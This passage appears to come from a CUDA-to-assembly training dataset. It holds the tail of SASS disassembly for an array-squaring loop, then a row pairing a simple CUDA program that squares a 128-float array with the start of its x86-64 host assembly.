/*03f0*/ FMUL R19, R14, R14 ; /* 0x0000000e0e137220 */
/* 0x008fca0000400000 */
/*0400*/ STG.E [R8.64], R19 ; /* 0x0000001308007986 */
/* 0x0005e8000c10190a */
/*0410*/ LDG.E R14, [R10.64] ; /* 0x0000000a0a0e7981 */
/* 0x000ee2000c1e1900 */
/*0420*/ IADD3 R12, P1, R10, UR4, RZ ; /* 0x000000040a0c7c10 */
/* 0x001fc8000ff3e0ff */
/*0430*/ IADD3.X R13, R11, UR6, RZ, P1, !PT ; /* 0x000000060b0d7c10 */
/* 0x000fe20008ffe4ff */
/*0440*/ FMUL R15, R14, R14 ; /* 0x0000000e0e0f7220 */
/* 0x008fca0000400000 */
/*0450*/ STG.E [R10.64], R15 ; /* 0x0000000f0a007986 */
/* 0x0001e8000c10190a */
/*0460*/ LDG.E R14, [R12.64] ; /* 0x0000000a0c0e7981 */
/* 0x000ee2000c1e1900 */
/*0470*/ IADD3 R6, P1, R12, UR4, RZ ; /* 0x000000040c067c10 */
/* 0x002fc8000ff3e0ff */
/*0480*/ IADD3.X R7, R13, UR6, RZ, P1, !PT ; /* 0x000000060d077c10 */
/* 0x000fe20008ffe4ff */
/*0490*/ FMUL R17, R14, R14 ; /* 0x0000000e0e117220 */
/* 0x008fca0000400000 */
/*04a0*/ STG.E [R12.64], R17 ; /* 0x000000110c007986 */
/* 0x0003e8000c10190a */
/*04b0*/ LDG.E R14, [R6.64] ; /* 0x0000000a060e7981 */
/* 0x000ee2000c1e1900 */
/*04c0*/ IADD3 R8, P1, R6, UR4, RZ ; /* 0x0000000406087c10 */
/* 0x004fc8000ff3e0ff */
/*04d0*/ IADD3.X R9, R7, UR6, RZ, P1, !PT ; /* 0x0000000607097c10 */
/* 0x000fe20008ffe4ff */
/*04e0*/ FMUL R19, R14, R14 ; /* 0x0000000e0e137220 */
/* 0x008fca0000400000 */
/*04f0*/ STG.E [R6.64], R19 ; /* 0x0000001306007986 */
/* 0x0005e8000c10190a */
/*0500*/ LDG.E R14, [R8.64] ; /* 0x0000000a080e7981 */
/* 0x000ee2000c1e1900 */
/*0510*/ IADD3 R10, P1, R8, UR4, RZ ; /* 0x00000004080a7c10 */
/* 0x001fc8000ff3e0ff */
/*0520*/ IADD3.X R11, R9, UR6, RZ, P1, !PT ; /* 0x00000006090b7c10 */
/* 0x000fe20008ffe4ff */
/*0530*/ FMUL R21, R14, R14 ; /* 0x0000000e0e157220 */
/* 0x008fca0000400000 */
/*0540*/ STG.E [R8.64], R21 ; /* 0x0000001508007986 */
/* 0x0001e8000c10190a */
/*0550*/ LDG.E R14, [R10.64] ; /* 0x0000000a0a0e7981 */
/* 0x000ee2000c1e1900 */
/*0560*/ IADD3 R12, P1, R10, UR4, RZ ; /* 0x000000040a0c7c10 */
/* 0x002fc8000ff3e0ff */
/*0570*/ IADD3.X R13, R11, UR6, RZ, P1, !PT ; /* 0x000000060b0d7c10 */
/* 0x000fe20008ffe4ff */
/*0580*/ FMUL R23, R14, R14 ; /* 0x0000000e0e177220 */
/* 0x008fca0000400000 */
/*0590*/ STG.E [R10.64], R23 ; /* 0x000000170a007986 */
/* 0x0003e8000c10190a */
/*05a0*/ LDG.E R6, [R12.64] ; /* 0x0000000a0c067981 */
/* 0x004ea2000c1e1900 */
/*05b0*/ IADD3 R14, P1, R12, UR4, RZ ; /* 0x000000040c0e7c10 */
/* 0x000fc8000ff3e0ff */
/*05c0*/ IADD3.X R15, R13, UR6, RZ, P1, !PT ; /* 0x000000060d0f7c10 */
/* 0x000fe20008ffe4ff */
/*05d0*/ FMUL R7, R6, R6 ; /* 0x0000000606077220 */
/* 0x004fca0000400000 */
/*05e0*/ STG.E [R12.64], R7 ; /* 0x000000070c007986 */
/* 0x0005e8000c10190a */
/*05f0*/ LDG.E R6, [R14.64] ; /* 0x0000000a0e067981 */
/* 0x000e22000c1e1900 */
/*0600*/ IADD3 R16, P1, R14, UR4, RZ ; /* 0x000000040e107c10 */
/* 0x000fc8000ff3e0ff */
/*0610*/ IADD3.X R17, R15, UR6, RZ, P1, !PT ; /* 0x000000060f117c10 */
/* 0x000fe20008ffe4ff */
/*0620*/ FMUL R9, R6, R6 ; /* 0x0000000606097220 */
/* 0x001fca0000400000 */
/*0630*/ STG.E [R14.64], R9 ; /* 0x000000090e007986 */
/* 0x000fe8000c10190a */
/*0640*/ LDG.E R6, [R16.64] ; /* 0x0000000a10067981 */
/* 0x000ee2000c1e1900 */
/*0650*/ IADD3 R10, P1, R16, UR4, RZ ; /* 0x00000004100a7c10 */
/* 0x002fc8000ff3e0ff */
/*0660*/ IADD3.X R11, R17, UR6, RZ, P1, !PT ; /* 0x00000006110b7c10 */
/* 0x000fe20008ffe4ff */
/*0670*/ FMUL R19, R6, R6 ; /* 0x0000000606137220 */
/* 0x008fca0000400000 */
/*0680*/ STG.E [R16.64], R19 ; /* 0x0000001310007986 */
/* 0x000fe8000c10190a */
/*0690*/ LDG.E R8, [R10.64] ; /* 0x0000000a0a087981 */
/* 0x000ee2000c1e1900 */
/*06a0*/ IADD3 R6, P1, R10, UR4, RZ ; /* 0x000000040a067c10 */
/* 0x000fc8000ff3e0ff */
/*06b0*/ IADD3.X R7, R11, UR6, RZ, P1, !PT ; /* 0x000000060b077c10 */
/* 0x004fe40008ffe4ff */
/*06c0*/ IADD3 R3, P1, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fc80007f3e0ff */
/*06d0*/ IADD3 R3, P2, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f5e0ff */
/*06e0*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P1, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe40000ffe4ff */
/*06f0*/ IADD3 R3, P1, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f3e0ff */
/*0700*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P2, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe400017fe4ff */
/*0710*/ IADD3 R3, P2, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f5e0ff */
/*0720*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P1, !PT ; /* 0x00005d0004047a10 */
/* 0x000fc40000ffe4ff */
/*0730*/ IADD3 R3, P1, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f3e0ff */
/*0740*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P2, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe400017fe4ff */
/*0750*/ IADD3 R3, P2, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f5e0ff */
/*0760*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P1, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe40000ffe4ff */
/*0770*/ IADD3 R3, P1, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f3e0ff */
/*0780*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P2, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe200017fe4ff */
/*0790*/ FMUL R13, R8, R8 ; /* 0x00000008080d7220 */
/* 0x008fca0000400000 */
/*07a0*/ STG.E [R10.64], R13 ; /* 0x0000000d0a007986 */
/* 0x0001e8000c10190a */
/*07b0*/ LDG.E R8, [R6.64] ; /* 0x0000000a06087981 */
/* 0x000ea2000c1e1900 */
/*07c0*/ IADD3 R3, P2, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f5e0ff */
/*07d0*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P1, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe40000ffe4ff */
/*07e0*/ IADD3 R3, P1, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f3e0ff */
/*07f0*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P2, !PT ; /* 0x00005d0004047a10 */
/* 0x000fc400017fe4ff */
/*0800*/ IADD3 R3, P2, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f5e0ff */
/*0810*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P1, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe40000ffe4ff */
/*0820*/ IADD3 R3, P1, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f3e0ff */
/*0830*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P2, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe400017fe4ff */
/*0840*/ IADD3 R3, P2, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f5e0ff */
/*0850*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P1, !PT ; /* 0x00005d0004047a10 */
/* 0x000fc40000ffe4ff */
/*0860*/ IADD3 R5, P4, R5, 0x10, RZ ; /* 0x0000001005057810 */
/* 0x000fe40007f9e0ff */
/*0870*/ IADD3 R3, P1, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f3e0ff */
/*0880*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P2, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe200017fe4ff */
/*0890*/ IMAD.X R0, RZ, RZ, R0, P4 ; /* 0x000000ffff007224 */
/* 0x000fe200020e0600 */
/*08a0*/ IADD3 R3, P3, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f7e0ff */
/*08b0*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P1, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe40000ffe4ff */
/*08c0*/ ISETP.GE.U32.AND P1, PT, R5, -0xc, PT ; /* 0xfffffff40500780c */
/* 0x000fc40003f26070 */
/*08d0*/ IADD3 R3, P2, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f5e0ff */
/*08e0*/ ISETP.GE.AND.EX P1, PT, R0, -0x1, PT, P1 ; /* 0xffffffff0000780c */
/* 0x000fe40003f26310 */
/*08f0*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P3, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe40001ffe4ff */
/*0900*/ IADD3 R12, P3, R6, UR4, RZ ; /* 0x00000004060c7c10 */
/* 0x000fe4000ff7e0ff */
/*0910*/ IADD3 R3, P4, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f9e0ff */
/*0920*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P2, !PT ; /* 0x00005d0004047a10 */
/* 0x000fc400017fe4ff */
/*0930*/ IADD3.X R13, R7, UR6, RZ, P3, !PT ; /* 0x00000006070d7c10 */
/* 0x001fe40009ffe4ff */
/*0940*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P4, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe200027fe4ff */
/*0950*/ FMUL R9, R8, R8 ; /* 0x0000000808097220 */
/* 0x004fca0000400000 */
/*0960*/ STG.E [R6.64], R9 ; /* 0x0000000906007986 */
/* 0x0001e2000c10190a */
/*0970*/ @!P1 BRA 0x210 ; /* 0xfffff89000009947 */
/* 0x000fea000383ffff */
/*0980*/ IADD3 R6, P2, RZ, -R5, RZ ; /* 0x80000005ff067210 */
/* 0x001fc80007f5e0ff */
/*0990*/ ISETP.GT.U32.AND P1, PT, R6, 0x4, PT ; /* 0x000000040600780c */
/* 0x000fe20003f24070 */
/*09a0*/ IMAD.X R6, RZ, RZ, ~R0, P2 ; /* 0x000000ffff067224 */
/* 0x000fca00010e0e00 */
/*09b0*/ ISETP.GT.AND.EX P1, PT, R6, RZ, PT, P1 ; /* 0x000000ff0600720c */
/* 0x000fda0003f24310 */
/*09c0*/ @!P1 BRA 0xd80 ; /* 0x000003b000009947 */
/* 0x000fea0003800000 */
/*09d0*/ LDG.E R8, [R12.64] ; /* 0x0000000a0c087981 */
/* 0x000ea2000c1e1900 */
/*09e0*/ IADD3 R6, P0, R12, UR4, RZ ; /* 0x000000040c067c10 */
/* 0x000fc8000ff1e0ff */
/*09f0*/ IADD3.X R7, R13, UR6, RZ, P0, !PT ; /* 0x000000060d077c10 */
/* 0x000fe200087fe4ff */
/*0a00*/ FMUL R15, R8, R8 ; /* 0x00000008080f7220 */
/* 0x004fca0000400000 */
/*0a10*/ STG.E [R12.64], R15 ; /* 0x0000000f0c007986 */
/* 0x0001e8000c10190a */
/*0a20*/ LDG.E R10, [R6.64] ; /* 0x0000000a060a7981 */
/* 0x000ea2000c1e1900 */
/*0a30*/ IADD3 R8, P0, R6, UR4, RZ ; /* 0x0000000406087c10 */
/* 0x000fc8000ff1e0ff */
/*0a40*/ IADD3.X R9, R7, UR6, RZ, P0, !PT ; /* 0x0000000607097c10 */
/* 0x000fe200087fe4ff */
/*0a50*/ FMUL R17, R10, R10 ; /* 0x0000000a0a117220 */
/* 0x004fca0000400000 */
/*0a60*/ STG.E [R6.64], R17 ; /* 0x0000001106007986 */
/* 0x0003e8000c10190a */
/*0a70*/ LDG.E R14, [R8.64] ; /* 0x0000000a080e7981 */
/* 0x000ea2000c1e1900 */
/*0a80*/ IADD3 R10, P0, R8, UR4, RZ ; /* 0x00000004080a7c10 */
/* 0x000fc8000ff1e0ff */
/*0a90*/ IADD3.X R11, R9, UR6, RZ, P0, !PT ; /* 0x00000006090b7c10 */
/* 0x000fe200087fe4ff */
/*0aa0*/ FMUL R19, R14, R14 ; /* 0x0000000e0e137220 */
/* 0x004fca0000400000 */
/*0ab0*/ STG.E [R8.64], R19 ; /* 0x0000001308007986 */
/* 0x0005e8000c10190a */
/*0ac0*/ LDG.E R14, [R10.64] ; /* 0x0000000a0a0e7981 */
/* 0x000ee2000c1e1900 */
/*0ad0*/ IADD3 R12, P0, R10, UR4, RZ ; /* 0x000000040a0c7c10 */
/* 0x001fc8000ff1e0ff */
/*0ae0*/ IADD3.X R13, R11, UR6, RZ, P0, !PT ; /* 0x000000060b0d7c10 */
/* 0x000fe200087fe4ff */
/*0af0*/ FMUL R21, R14, R14 ; /* 0x0000000e0e157220 */
/* 0x008fca0000400000 */
/*0b00*/ STG.E [R10.64], R21 ; /* 0x000000150a007986 */
/* 0x0001e8000c10190a */
/*0b10*/ LDG.E R6, [R12.64] ; /* 0x0000000a0c067981 */
/* 0x002ee2000c1e1900 */
/*0b20*/ IADD3 R14, P0, R12, UR4, RZ ; /* 0x000000040c0e7c10 */
/* 0x000fc8000ff1e0ff */
/*0b30*/ IADD3.X R15, R13, UR6, RZ, P0, !PT ; /* 0x000000060d0f7c10 */
/* 0x000fe200087fe4ff */
/*0b40*/ FMUL R17, R6, R6 ; /* 0x0000000606117220 */
/* 0x008fca0000400000 */
/*0b50*/ STG.E [R12.64], R17 ; /* 0x000000110c007986 */
/* 0x0003e8000c10190a */
/*0b60*/ LDG.E R6, [R14.64] ; /* 0x0000000a0e067981 */
/* 0x000ee2000c1e1900 */
/*0b70*/ IADD3 R8, P0, R14, UR4, RZ ; /* 0x000000040e087c10 */
/* 0x004fc8000ff1e0ff */
/*0b80*/ IADD3.X R9, R15, UR6, RZ, P0, !PT ; /* 0x000000060f097c10 */
/* 0x000fe200087fe4ff */
/*0b90*/ FMUL R19, R6, R6 ; /* 0x0000000606137220 */
/* 0x008fca0000400000 */
/*0ba0*/ STG.E [R14.64], R19 ; /* 0x000000130e007986 */
/* 0x000fe8000c10190a */
/*0bb0*/ LDG.E R10, [R8.64] ; /* 0x0000000a080a7981 */
/* 0x001ea2000c1e1900 */
/*0bc0*/ IADD3 R6, P0, R8, UR4, RZ ; /* 0x0000000408067c10 */
/* 0x000fc8000ff1e0ff */
/*0bd0*/ IADD3.X R7, R9, UR6, RZ, P0, !PT ; /* 0x0000000609077c10 */
/* 0x000fe400087fe4ff */
/*0be0*/ IADD3 R3, P0, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fc80007f1e0ff */
/*0bf0*/ IADD3 R3, P1, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f3e0ff */
/*0c00*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P0, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe200007fe4ff */
/*0c10*/ FMUL R11, R10, R10 ; /* 0x0000000a0a0b7220 */
/* 0x004fca0000400000 */
/*0c20*/ STG.E [R8.64], R11 ; /* 0x0000000b08007986 */
/* 0x000fe8000c10190a */
/*0c30*/ LDG.E R10, [R6.64] ; /* 0x0000000a060a7981 */
/* 0x000ea2000c1e1900 */
/*0c40*/ IADD3 R3, P0, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f1e0ff */
/*0c50*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P1, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe40000ffe4ff */
/*0c60*/ IADD3 R3, P1, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f3e0ff */
/*0c70*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P0, !PT ; /* 0x00005d0004047a10 */
/* 0x000fc400007fe4ff */
/*0c80*/ IADD3 R3, P0, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f1e0ff */
/*0c90*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P1, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe40000ffe4ff */
/*0ca0*/ IADD3 R3, P3, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f7e0ff */
/*0cb0*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P0, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe400007fe4ff */
/*0cc0*/ IADD3 R3, P2, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f5e0ff */
/*0cd0*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P3, !PT ; /* 0x00005d0004047a10 */
/* 0x000fc40001ffe4ff */
/*0ce0*/ IADD3 R5, P1, R5, 0x8, RZ ; /* 0x0000000805057810 */
/* 0x000fe40007f3e0ff */
/*0cf0*/ IADD3 R12, P3, R6, UR4, RZ ; /* 0x00000004060c7c10 */
/* 0x002fe4000ff7e0ff */
/*0d00*/ IADD3 R3, P4, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe20007f9e0ff */
/*0d10*/ IMAD.X R0, RZ, RZ, R0, P1 ; /* 0x000000ffff007224 */
/* 0x000fe200008e0600 */
/*0d20*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P2, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe400017fe4ff */
/*0d30*/ PLOP3.LUT P0, PT, PT, PT, PT, 0x8, 0x0 ; /* 0x000000000000781c */
/* 0x000fe40003f0e170 */
/*0d40*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P4, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe200027fe4ff */
/*0d50*/ FMUL R13, R10, R10 ; /* 0x0000000a0a0d7220 */
/* 0x004fca0000400000 */
/*0d60*/ STG.E [R6.64], R13 ; /* 0x0000000d06007986 */
/* 0x0001e4000c10190a */
/*0d70*/ IADD3.X R13, R7, UR6, RZ, P3, !PT ; /* 0x00000006070d7c10 */
/* 0x001fe40009ffe4ff */
/*0d80*/ ISETP.NE.U32.AND P1, PT, R5, RZ, PT ; /* 0x000000ff0500720c */
/* 0x000fc80003f25070 */
/*0d90*/ ISETP.NE.OR.EX P0, PT, R0, RZ, P0, P1 ; /* 0x000000ff0000720c */
/* 0x000fda0000705710 */
/*0da0*/ @!P0 BRA 0xfe0 ; /* 0x0000023000008947 */
/* 0x000fea0003800000 */
/*0db0*/ IMAD.MOV.U32 R8, RZ, RZ, R12 ; /* 0x000000ffff087224 */
/* 0x000fe400078e000c */
/*0dc0*/ IMAD.MOV.U32 R9, RZ, RZ, R13 ; /* 0x000000ffff097224 */
/* 0x000fca00078e000d */
/*0dd0*/ LDG.E R6, [R8.64] ; /* 0x0000000a08067981 */
/* 0x000ea2000c1e1900 */
/*0de0*/ IADD3 R10, P0, R8, UR4, RZ ; /* 0x00000004080a7c10 */
/* 0x000fc8000ff1e0ff */
/*0df0*/ IADD3.X R11, R9, UR6, RZ, P0, !PT ; /* 0x00000006090b7c10 */
/* 0x000fe200087fe4ff */
/*0e00*/ FMUL R15, R6, R6 ; /* 0x00000006060f7220 */
/* 0x004fca0000400000 */
/*0e10*/ STG.E [R8.64], R15 ; /* 0x0000000f08007986 */
/* 0x0001e8000c10190a */
/*0e20*/ LDG.E R6, [R10.64] ; /* 0x0000000a0a067981 */
/* 0x000ea2000c1e1900 */
/*0e30*/ IADD3 R12, P0, R10, UR4, RZ ; /* 0x000000040a0c7c10 */
/* 0x000fc8000ff1e0ff */
/*0e40*/ IADD3.X R13, R11, UR6, RZ, P0, !PT ; /* 0x000000060b0d7c10 */
/* 0x000fe200087fe4ff */
/*0e50*/ FMUL R17, R6, R6 ; /* 0x0000000606117220 */
/* 0x004fca0000400000 */
/*0e60*/ STG.E [R10.64], R17 ; /* 0x000000110a007986 */
/* 0x000fe8000c10190a */
/*0e70*/ LDG.E R14, [R12.64] ; /* 0x0000000a0c0e7981 */
/* 0x000ea2000c1e1900 */
/*0e80*/ IADD3 R6, P0, R12, UR4, RZ ; /* 0x000000040c067c10 */
/* 0x000fc8000ff1e0ff */
/*0e90*/ IADD3.X R7, R13, UR6, RZ, P0, !PT ; /* 0x000000060d077c10 */
/* 0x000fe400087fe4ff */
/*0ea0*/ IADD3 R5, P0, R5, 0x4, RZ ; /* 0x0000000405057810 */
/* 0x000fe20007f1e0ff */
/*0eb0*/ FMUL R19, R14, R14 ; /* 0x0000000e0e137220 */
/* 0x004fca0000400000 */
/*0ec0*/ STG.E [R12.64], R19 ; /* 0x000000130c007986 */
/* 0x0003e8000c10190a */
/*0ed0*/ LDG.E R8, [R6.64] ; /* 0x0000000a06087981 */
/* 0x001ea2000c1e1900 */
/*0ee0*/ IMAD.X R0, RZ, RZ, R0, P0 ; /* 0x000000ffff007224 */
/* 0x000fe200000e0600 */
/*0ef0*/ ISETP.NE.U32.AND P0, PT, R5, RZ, PT ; /* 0x000000ff0500720c */
/* 0x000fe40003f05070 */
/*0f00*/ IADD3 R3, P1, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f3e0ff */
/*0f10*/ ISETP.NE.AND.EX P0, PT, R0, RZ, PT, P0 ; /* 0x000000ff0000720c */
/* 0x000fc40003f05300 */
/*0f20*/ IADD3 R3, P2, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f5e0ff */
/*0f30*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P1, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe40000ffe4ff */
/*0f40*/ IADD3 R3, P1, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fe40007f3e0ff */
/*0f50*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P2, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe400017fe4ff */
/*0f60*/ IADD3 R12, P2, R6, UR4, RZ ; /* 0x00000004060c7c10 */
/* 0x002fe4000ff5e0ff */
/*0f70*/ IADD3 R3, P3, R3, c[0x0][0x170], RZ ; /* 0x00005c0003037a10 */
/* 0x000fc40007f7e0ff */
/*0f80*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P1, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe40000ffe4ff */
/*0f90*/ IADD3.X R13, R7, UR6, RZ, P2, !PT ; /* 0x00000006070d7c10 */
/* 0x000fe400097fe4ff */
/*0fa0*/ IADD3.X R4, R4, c[0x0][0x174], RZ, P3, !PT ; /* 0x00005d0004047a10 */
/* 0x000fe20001ffe4ff */
/*0fb0*/ FMUL R9, R8, R8 ; /* 0x0000000808097220 */
/* 0x004fca0000400000 */
/*0fc0*/ STG.E [R6.64], R9 ; /* 0x0000000906007986 */
/* 0x0001e4000c10190a */
/*0fd0*/ @P0 BRA 0xdb0 ; /* 0xfffffdd000000947 */
/* 0x001fea000383ffff */
/*0fe0*/ ISETP.NE.U32.AND P0, PT, R2, RZ, PT ; /* 0x000000ff0200720c */
/* 0x001fc80003f05070 */
/*0ff0*/ ISETP.NE.AND.EX P0, PT, RZ, RZ, PT, P0 ; /* 0x000000ffff00720c */
/* 0x000fda0003f05300 */
/*1000*/ @!P0 EXIT ; /* 0x000000000000894d */
/* 0x000fea0003800000 */
/*1010*/ IADD3 R6, P1, RZ, -R2, RZ ; /* 0x80000002ff067210 */
/* 0x000fe20007f3e0ff */
/*1020*/ IMAD.MOV.U32 R11, RZ, RZ, c[0x0][0x170] ; /* 0x00005c00ff0b7624 */
/* 0x000fe200078e00ff */
/*1030*/ LEA R0, P0, R3, c[0x0][0x160], 0x2 ; /* 0x0000580003007a11 */
/* 0x000fe200078010ff */
/*1040*/ IMAD.MOV.U32 R2, RZ, RZ, 0x2 ; /* 0x00000002ff027424 */
/* 0x000fc600078e00ff */
/*1050*/ LEA.HI.X R7, R3, c[0x0][0x164], R4, 0x2, P0 ; /* 0x0000590003077a11 */
/* 0x000fe200000f1404 */
/*1060*/ IMAD.X R4, RZ, RZ, -0x1, P1 ; /* 0xffffffffff047424 */
/* 0x000fe200008e06ff */
/*1070*/ SHF.L.U64.HI R9, R11, R2, c[0x0][0x174] ; /* 0x00005d000b097619 */
/* 0x000fe40000010202 */
/*1080*/ IMAD.MOV.U32 R2, RZ, RZ, R0 ; /* 0x000000ffff027224 */
/* 0x001fe400078e0000 */
/*1090*/ IMAD.MOV.U32 R3, RZ, RZ, R7 ; /* 0x000000ffff037224 */
/* 0x000fca00078e0007 */
/*10a0*/ LDG.E R0, [R2.64] ; /* 0x0000000a02007981 */
/* 0x000ea2000c1e1900 */
/*10b0*/ IADD3 R6, P0, R6, 0x1, RZ ; /* 0x0000000106067810 */
/* 0x000fca0007f1e0ff */
/*10c0*/ IMAD.X R4, RZ, RZ, R4, P0 ; /* 0x000000ffff047224 */
/* 0x000fe200000e0604 */
/*10d0*/ ISETP.NE.U32.AND P0, PT, R6, RZ, PT ; /* 0x000000ff0600720c */
/* 0x000fc80003f05070 */
/*10e0*/ ISETP.NE.AND.EX P0, PT, R4, RZ, PT, P0 ; /* 0x000000ff0400720c */
/* 0x000fe20003f05300 */
/*10f0*/ FMUL R5, R0, R0 ; /* 0x0000000000057220 */
/* 0x004fe20000400000 */
/*1100*/ LEA R0, P1, R11, R2, 0x2 ; /* 0x000000020b007211 */
/* 0x000fc800078210ff */
/*1110*/ STG.E [R2.64], R5 ; /* 0x0000000502007986 */
/* 0x0001e2000c10190a */
/*1120*/ IMAD.X R7, R3, 0x1, R9, P1 ; /* 0x0000000103077824 */
/* 0x000fcc00008e0609 */
/*1130*/ @P0 BRA 0x1080 ; /* 0xffffff4000000947 */
/* 0x000fea000383ffff */
/*1140*/ EXIT ; /* 0x000000000000794d */
/* 0x000fea0003800000 */
/*1150*/ BRA 0x1150; /* 0xfffffff000007947 */
/* 0x000fc0000383ffff */
/*1160*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*1170*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*1180*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*1190*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*11a0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*11b0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*11c0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*11d0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*11e0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*11f0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
.......... |
You are a helpful coding assistant specialized in converting CUDA source code to CUDA host assembly. | #include "cuda_runtime.h"
#include "device_launch_parameters.h"
#include <stdio.h>
#include <stdlib.h>
#define SIZE 128
#define THREADS 32
__global__ void squareWithForLoop(float * d_arr, size_t maxLoop, size_t increment)
{
float value;
size_t index;
size_t i;
index = threadIdx.x;
for (i = 0; i < maxLoop; i++) {
value = d_arr[index];
d_arr[index] = value * value;
index += increment;
}
}
int main(int argc, char ** argv)
{
float * h_array;
float * d_array;
size_t totalArraySize;
totalArraySize = sizeof(float) * SIZE;
h_array = (float *)malloc(totalArraySize);
for (size_t i = 0; i < SIZE; i++)
h_array[i] = i;
cudaMalloc((void **)&d_array, totalArraySize);
cudaMemcpy(d_array, h_array, totalArraySize, cudaMemcpyHostToDevice);
squareWithForLoop<<<1, THREADS >>> (d_array, SIZE/THREADS, THREADS);
cudaMemcpy(h_array, d_array, totalArraySize, cudaMemcpyDeviceToHost);
cudaFree(d_array);
for (size_t i = 0; i < SIZE; i++) {
printf("%8.3f", h_array[i]);
printf(((i % 7) != 6) ? "\t" : "\n");
}
printf("\n");
free(h_array);
return 0;
} | .file "tmpxft_0003d645_00000000-6_squareLoop.cudafe1.cpp"
.text
#APP
#NO_APP
.type _ZL26__cudaUnregisterBinaryUtilv, @function
_ZL26__cudaUnregisterBinaryUtilv:
.LFB2060:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaUnregisterFatBinary@PLT
addq $8, %rsp
